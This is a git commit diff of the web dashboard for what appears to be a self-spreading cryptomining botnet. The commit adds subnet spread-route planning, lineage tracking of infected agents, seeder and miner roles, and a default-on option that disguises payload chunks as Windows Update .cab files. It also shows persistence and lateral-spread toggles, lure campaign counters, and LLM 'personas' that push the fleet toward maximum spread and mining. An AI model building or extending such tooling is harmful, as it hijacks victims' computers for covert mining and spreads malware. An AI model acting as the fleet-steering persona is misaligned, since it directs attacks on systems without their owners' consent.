Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -480,7 +480,18 @@ export const api = {
|
||||
discover_in_progress?: boolean;
|
||||
discover_error?: string;
|
||||
discovered_at?: string;
|
||||
spread_routes?: SpreadRouteRecommendation[];
|
||||
}>(`/pathtrace/${id}/status`),
|
||||
spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
spread_routes: SpreadRouteRecommendation[];
|
||||
route_edges: { from_agent_id: string; to_subnet: string; weight: number }[];
|
||||
}>('/pathtrace/spread-route', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ session_id: sessionId, target_subnets: targetSubnets, join_lane: joinLane ?? '' }),
|
||||
}),
|
||||
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
|
||||
@@ -273,3 +273,21 @@
|
||||
opacity: 0.45;
|
||||
}
|
||||
}
|
||||
|
||||
.access-depth-lineage {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
color: #c8d0d8;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-strain-swatch {
|
||||
display: inline-block;
|
||||
width: 0.65rem;
|
||||
height: 0.65rem;
|
||||
border-radius: 2px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.25);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
@@ -200,6 +200,20 @@ describe('AccessDepthPanel', () => {
|
||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows spread genealogy lineage when watermark present', async () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'windows',
|
||||
parent_agent_id: '11112222-3333-4444-aaaa-bbbbbbbbbbbb',
|
||||
spread_generation: 2,
|
||||
spread_strain: '#a1b2c3',
|
||||
join_lane: 'winrm',
|
||||
}),
|
||||
);
|
||||
expect(await screen.findByText(/lineage gen 2/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders clearance badge L0–L4 with tooltip permissions', () => {
|
||||
renderPanel(mockAgent({ clearance_level: 2 }));
|
||||
const badge = screen.getByLabelText(/Clearance L2/i);
|
||||
|
||||
@@ -189,6 +189,22 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
{(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && (
|
||||
<div className="access-depth-lineage" data-strain={agent.spread_strain?.replace(/^#/, '') ?? ''}>
|
||||
lineage gen {agent.spread_generation ?? 0}
|
||||
{agent.spread_strain ? (
|
||||
<span
|
||||
className="access-depth-strain-swatch"
|
||||
style={{ backgroundColor: agent.spread_strain }}
|
||||
title={`strain ${agent.spread_strain}`}
|
||||
aria-hidden
|
||||
/>
|
||||
) : null}
|
||||
{agent.parent_agent_id ? (
|
||||
<span className="access-depth-muted"> · parent {agent.parent_agent_id.slice(0, 8)}</span>
|
||||
) : null}
|
||||
</div>
|
||||
)}
|
||||
{model.phenotypeSource && (
|
||||
<div className="access-depth-phenotype">
|
||||
phenotype cloned from <strong>{model.phenotypeSource}</strong>
|
||||
|
||||
@@ -57,9 +57,9 @@ const NAV = [
|
||||
|
||||
const DOCS_HREF = '/docs/';
|
||||
|
||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
|
||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */
|
||||
const MOBILE_PRIMARY = NAV.slice(0, 5);
|
||||
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
|
||||
/** Path Tracer, Forge, Mission Deck, Builds, Emberwake, Calibrate — "More" sheet */
|
||||
const MOBILE_MORE = NAV.slice(5);
|
||||
|
||||
function NavIcon({ type }: { type: string }) {
|
||||
@@ -283,9 +283,12 @@ export default function Layout({ children }: LayoutProps) {
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
'/dashboard': 'Deck',
|
||||
'/crucible': 'Ops',
|
||||
'/crucible': 'Ops',
|
||||
'/activity': 'Feed',
|
||||
'/roi': 'ROI',
|
||||
'/lotl-timeline': 'Onion',
|
||||
'/pathtracer': 'Tracer',
|
||||
'/forge': 'Forge',
|
||||
'/forge': 'Forge',
|
||||
};
|
||||
|
||||
return (
|
||||
|
||||
@@ -130,4 +130,23 @@ describe('applyStatsUpdates', () => {
|
||||
]);
|
||||
expect(next[0].lotl_attempts).toEqual(attempts);
|
||||
});
|
||||
|
||||
it('merges spread genealogy watermark from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
parent_agent_id: 'parent-xyz',
|
||||
spread_generation: 2,
|
||||
spread_strain: '#aabbcc',
|
||||
},
|
||||
]);
|
||||
expect(next[0].parent_agent_id).toBe('parent-xyz');
|
||||
expect(next[0].spread_generation).toBe(2);
|
||||
expect(next[0].spread_strain).toBe('#aabbcc');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -65,6 +65,13 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||
...(update.parent_agent_id !== undefined ? { parent_agent_id: update.parent_agent_id } : {}),
|
||||
...(update.spread_generation !== undefined ? { spread_generation: update.spread_generation } : {}),
|
||||
...(update.spread_strain !== undefined ? { spread_strain: update.spread_strain } : {}),
|
||||
...(update.fleet_role !== undefined ? { fleet_role: update.fleet_role as Agent['fleet_role'] } : {}),
|
||||
...(update.seed_pressure !== undefined ? { seed_pressure: update.seed_pressure } : {}),
|
||||
...(update.hashrate_pressure !== undefined ? { hashrate_pressure: update.hashrate_pressure } : {}),
|
||||
...(update.emberwake_heat !== undefined ? { emberwake_heat: update.emberwake_heat } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -16,6 +16,7 @@ describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
||||
});
|
||||
|
||||
@@ -61,6 +61,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
wsus_format_mimic: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
target_os: 'windows',
|
||||
|
||||
@@ -81,6 +81,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
dns_txt_spread: true,
|
||||
webrtc_mesh_spread: false,
|
||||
wsus_cache_peer_spread: true,
|
||||
wsus_format_mimic: true,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
@@ -177,9 +178,14 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
next.dns_txt_spread = false;
|
||||
next.webrtc_mesh_spread = false;
|
||||
next.wsus_cache_peer_spread = false;
|
||||
next.wsus_format_mimic = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
if (next.wsus_cache_peer_spread === false) {
|
||||
next.wsus_format_mimic = false;
|
||||
}
|
||||
|
||||
// Linux LOTL persistence — Linux/universal workers only
|
||||
if (isWindowsOnlyTarget(next.target_os)) {
|
||||
next.linux_lotl_mode = 'off';
|
||||
|
||||
@@ -489,6 +489,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
|
||||
},
|
||||
wsus_format_mimic: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle ? 'WSUS format mimic is Windows-only.' : undefined,
|
||||
hint: 'Default ON — staged chunks use *.cab.partial filenames with SSU/CAB-like headers (format mimicry, not packing).',
|
||||
},
|
||||
webrtc_mesh_spread: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
|
||||
@@ -51,7 +51,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
ai_interval_sec:
|
||||
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
|
||||
ai_persona:
|
||||
'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
|
||||
'Calibrate AI persona preset — shapes fleet decisions and default spread tier order hints (spread_temperament) when AI Control is on. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
|
||||
ai_persona_aggressive:
|
||||
'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
|
||||
ai_persona_silent:
|
||||
|
||||
@@ -1,94 +1,20 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
aggregateCampaignTelemetry,
|
||||
effectiveMiningHashrate,
|
||||
hashHeatIntensity,
|
||||
lotlTierLabel,
|
||||
maxTelemetryHashrate,
|
||||
mergeCampaignWithLiveTelemetry,
|
||||
} from './warRoomTelemetry';
|
||||
import type { WarRoomCampaign } from '../types';
|
||||
import type { Agent } from '../types';
|
||||
import { agentEmberwakeHeat, effectiveMiningHashrate } from './warRoomTelemetry';
|
||||
|
||||
describe('effectiveMiningHashrate', () => {
|
||||
it('prefers mining_hashrate when present', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
|
||||
).toBe(900);
|
||||
describe('agentEmberwakeHeat', () => {
|
||||
it('prefers server emberwake_heat when set', () => {
|
||||
const agent = { emberwake_heat: 0.9 } as Agent;
|
||||
expect(agentEmberwakeHeat(agent, 1000)).toBe(0.9);
|
||||
});
|
||||
|
||||
it('falls back to CPU + GPU hashrate', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
|
||||
).toBe(500);
|
||||
});
|
||||
});
|
||||
|
||||
describe('aggregateCampaignTelemetry', () => {
|
||||
it('groups online agents by campaign and sums hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
|
||||
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
|
||||
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
|
||||
]);
|
||||
const linkedin = map.get('linkedin');
|
||||
expect(linkedin?.online).toBe(2);
|
||||
expect(linkedin?.hashrate).toBe(500);
|
||||
expect(linkedin?.mining).toBe(2);
|
||||
expect(map.get('usb')?.hashrate).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('mergeCampaignWithLiveTelemetry', () => {
|
||||
const base: WarRoomCampaign = {
|
||||
campaign: 'linkedin',
|
||||
hits: 10,
|
||||
downloads: 5,
|
||||
agents: 2,
|
||||
online: 0,
|
||||
hashrate: 0,
|
||||
conversion_pct: 20,
|
||||
daily_hits: [1, 2, 3],
|
||||
};
|
||||
|
||||
it('overlays live hashrate and online counts', () => {
|
||||
const merged = mergeCampaignWithLiveTelemetry(base, {
|
||||
hashrate: 1200,
|
||||
online: 2,
|
||||
mining: 1,
|
||||
agents: [],
|
||||
});
|
||||
expect(merged.hashrate).toBe(1200);
|
||||
expect(merged.online).toBe(2);
|
||||
expect(merged.hits).toBe(10);
|
||||
});
|
||||
});
|
||||
|
||||
describe('hashHeatIntensity', () => {
|
||||
it('returns 0 for zero hashrate', () => {
|
||||
expect(hashHeatIntensity(0, 1000)).toBe(0);
|
||||
});
|
||||
|
||||
it('scales relative to fleet max', () => {
|
||||
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
|
||||
expect(hashHeatIntensity(2000, 1000)).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('lotlTierLabel', () => {
|
||||
it('returns uppercase tier or null', () => {
|
||||
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
|
||||
expect(lotlTierLabel('')).toBeNull();
|
||||
expect(lotlTierLabel(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('maxTelemetryHashrate', () => {
|
||||
it('finds peak campaign hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
|
||||
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
|
||||
]);
|
||||
expect(maxTelemetryHashrate(map)).toBe(450);
|
||||
it('uses seed_pressure for seeders', () => {
|
||||
const agent = { fleet_role: 'seeder', seed_pressure: 0.6 } as Agent;
|
||||
expect(agentEmberwakeHeat(agent, 0)).toBe(0.6);
|
||||
});
|
||||
|
||||
it('falls back to hashrate rollup for miners', () => {
|
||||
const agent = { hashrate_15m: 500, mining_hashrate: 500 } as Agent;
|
||||
expect(effectiveMiningHashrate(agent)).toBe(500);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -61,6 +61,20 @@ export function hashHeatIntensity(hashrate: number, maxHashrate: number): number
|
||||
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
|
||||
}
|
||||
|
||||
/** Prefer server-computed emberwake_heat when present (fleet role pressure fields). */
|
||||
export function agentEmberwakeHeat(agent: Agent, maxHashrate: number): number {
|
||||
if (typeof agent.emberwake_heat === 'number' && agent.emberwake_heat > 0) {
|
||||
return Math.min(1, agent.emberwake_heat);
|
||||
}
|
||||
if (agent.fleet_role === 'seeder' && typeof agent.seed_pressure === 'number') {
|
||||
return Math.min(1, Math.max(0, agent.seed_pressure));
|
||||
}
|
||||
if (typeof agent.hashrate_pressure === 'number' && agent.hashrate_pressure > 0) {
|
||||
return Math.min(1, agent.hashrate_pressure);
|
||||
}
|
||||
return hashHeatIntensity(effectiveMiningHashrate(agent), maxHashrate);
|
||||
}
|
||||
|
||||
/** Display label for LOTL tier badge; null when unset. */
|
||||
export function lotlTierLabel(tier?: string): string | null {
|
||||
const t = tier?.trim();
|
||||
|
||||
@@ -116,6 +116,28 @@ describe('agentStatsUnchanged', () => {
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when spread genealogy watermark changes', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
parent_agent_id: 'parent-1',
|
||||
spread_generation: 1,
|
||||
spread_strain: '#aabbcc',
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
spread_generation: 2,
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||
|
||||
@@ -55,6 +55,9 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
|
||||
if (u.spread_generation !== undefined && agent.spread_generation !== u.spread_generation) return false;
|
||||
if (u.spread_strain !== undefined && agent.spread_strain !== u.spread_strain) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -44,7 +44,11 @@ const KIND_CONFIG: Record<ActivityEventKind, { icon: string; label: string; colo
|
||||
default: { icon: '·', label: 'EVENT', color: '#8899aa' },
|
||||
};
|
||||
|
||||
const ALL_KINDS = Object.keys(KIND_CONFIG) as ActivityEventKind[];
|
||||
// ALL_KINDS excludes 'default' — that kind is a fallback sentinel and is never
|
||||
// actually emitted, so it would only create a permanently-zero filter chip.
|
||||
const ALL_KINDS = (Object.keys(KIND_CONFIG) as ActivityEventKind[]).filter(
|
||||
(k) => k !== 'default'
|
||||
);
|
||||
const MAX_EVENTS = 500;
|
||||
|
||||
function fmt(d: Date): string {
|
||||
@@ -88,7 +92,6 @@ export default function ActivityFeedPage() {
|
||||
fleetAlerts,
|
||||
commandResults,
|
||||
aiActivity,
|
||||
latestMessage,
|
||||
} = useWebSocket();
|
||||
|
||||
const [events, setEvents] = useState<ActivityEvent[]>([]);
|
||||
|
||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, PathTraceHop } from '../types';
|
||||
import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './PathTracerPage.css';
|
||||
|
||||
@@ -13,6 +13,7 @@ interface TraceStatus {
|
||||
ready: boolean;
|
||||
error?: string;
|
||||
hops: PathTraceHop[];
|
||||
spread_routes?: SpreadRouteRecommendation[];
|
||||
}
|
||||
|
||||
interface QRData {
|
||||
@@ -111,6 +112,7 @@ export default function PathTracerPage() {
|
||||
const [tracing, setTracing] = useState(false);
|
||||
const [qr, setQR] = useState<QRData | null>(null);
|
||||
const [showQR, setShowQR] = useState(false);
|
||||
const [spreadRoutes, setSpreadRoutes] = useState<SpreadRouteRecommendation[]>([]);
|
||||
|
||||
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
||||
const [autoEndCountdown, setAutoEndCountdown] = useState<number | null>(null);
|
||||
@@ -146,6 +148,7 @@ export default function PathTracerPage() {
|
||||
setTracing(true);
|
||||
setHops([]);
|
||||
setQR(null);
|
||||
setSpreadRoutes([]);
|
||||
try {
|
||||
const res = await api.startTrace(selected);
|
||||
setSessionID(res.session_id);
|
||||
@@ -165,6 +168,9 @@ export default function PathTracerPage() {
|
||||
try {
|
||||
const status: TraceStatus = await api.getTraceStatus(sid);
|
||||
setHops(status.hops);
|
||||
if (status.spread_routes?.length) {
|
||||
setSpreadRoutes(status.spread_routes);
|
||||
}
|
||||
if (status.error) {
|
||||
setError(status.error);
|
||||
clearInterval(pollRef.current!);
|
||||
@@ -205,6 +211,7 @@ export default function PathTracerPage() {
|
||||
setTracing(false);
|
||||
setQR(null);
|
||||
setSelected([]);
|
||||
setSpreadRoutes([]);
|
||||
setError('');
|
||||
}, [sessionID]);
|
||||
|
||||
@@ -418,6 +425,21 @@ export default function PathTracerPage() {
|
||||
✓ All hops ready — tunnel is active.
|
||||
</div>
|
||||
)}
|
||||
|
||||
{spreadRoutes.length > 0 && (
|
||||
<div className="pt-route-hints" style={{ marginTop: '0.75rem' }}>
|
||||
<div className="pt-chain-title">Spread Routes</div>
|
||||
<ul style={{ margin: '0.35rem 0 0', paddingLeft: '1rem', fontSize: '0.65rem', fontFamily: 'monospace', color: '#00ffaa99' }}>
|
||||
{spreadRoutes.map((route) => (
|
||||
<li key={`${route.target_subnet}-${route.seed_agent_id}`}>
|
||||
{route.target_subnet} → {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}
|
||||
{route.join_lane ? ` (${route.join_lane})` : ''}
|
||||
{route.score ? ` · ${route.score.toFixed(2)}` : ''}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -12,8 +12,10 @@ function fmt(n: number, decimals = 2) {
|
||||
}
|
||||
|
||||
function fmtUSD(n: number): string {
|
||||
if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`;
|
||||
return `$${n.toFixed(2)}`;
|
||||
const sign = n < 0 ? '-' : '';
|
||||
const abs = Math.abs(n);
|
||||
if (abs >= 1000) return `${sign}$${(abs / 1000).toFixed(2)}k`;
|
||||
return `${sign}$${abs.toFixed(2)}`;
|
||||
}
|
||||
|
||||
function effBadge(pct: number): { label: string; cls: string } {
|
||||
|
||||
@@ -110,6 +110,15 @@ export interface Agent {
|
||||
/** Session security clearance L0–L4 (live from server). */
|
||||
clearance_level?: number;
|
||||
|
||||
/** Fleet role split telemetry (stats WS). */
|
||||
fleet_role?: 'miner' | 'seeder' | 'auto';
|
||||
seed_pressure?: number;
|
||||
hashrate_pressure?: number;
|
||||
emberwake_heat?: number;
|
||||
parent_agent_id?: string;
|
||||
spread_generation?: number;
|
||||
spread_strain?: string;
|
||||
|
||||
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
||||
inherited_phenotype?: InheritedPhenotype;
|
||||
}
|
||||
@@ -332,6 +341,8 @@ export interface ServerSettings {
|
||||
ai_interval_sec?: number;
|
||||
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
|
||||
ai_persona?: string;
|
||||
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
|
||||
fleet_roles_enabled?: boolean;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
@@ -556,6 +567,8 @@ export interface BuildRequest {
|
||||
webrtc_mesh_spread?: boolean;
|
||||
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
|
||||
wsus_cache_peer_spread?: boolean;
|
||||
/** Wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON for Windows LOTL). */
|
||||
wsus_format_mimic?: boolean;
|
||||
/** COM CLSID hijack persistence — high-friction; default off. */
|
||||
com_hijack_persist?: boolean;
|
||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||
@@ -599,6 +612,9 @@ export interface BuildRequest {
|
||||
/** Pull tier order from server on auth instead of baked list only. */
|
||||
lotl_policy_from_server?: boolean;
|
||||
lotl_onion_tiers?: string[];
|
||||
/** Fleet role: miner (RandomX) | seeder (LAN staging) | auto (server hint on auth). */
|
||||
fleet_role?: 'miner' | 'seeder' | 'auto';
|
||||
seeder_mode?: boolean;
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
@@ -665,6 +681,19 @@ export interface PathTraceHop {
|
||||
error?: string;
|
||||
}
|
||||
|
||||
export interface SpreadRouteRecommendation {
|
||||
target_subnet: string;
|
||||
seed_agent_id: string;
|
||||
seed_agent_name?: string;
|
||||
egress_agent_id: string;
|
||||
egress_hop_index?: number;
|
||||
session_id?: string;
|
||||
join_lane?: string;
|
||||
clearance_level?: number;
|
||||
score: number;
|
||||
reason?: string;
|
||||
}
|
||||
|
||||
export interface ServiceGraphEntry {
|
||||
service_name: string;
|
||||
port?: number;
|
||||
|
||||
@@ -80,6 +80,13 @@ export interface WSStatsUpdate {
|
||||
vuln_findings?: import('./recon').VulnFinding[];
|
||||
vuln_risk_score?: number;
|
||||
join_lane?: string;
|
||||
parent_agent_id?: string;
|
||||
spread_generation?: number;
|
||||
spread_strain?: string;
|
||||
fleet_role?: string;
|
||||
seed_pressure?: number;
|
||||
hashrate_pressure?: number;
|
||||
emberwake_heat?: number;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
|
||||
Reference in New Issue
Block a user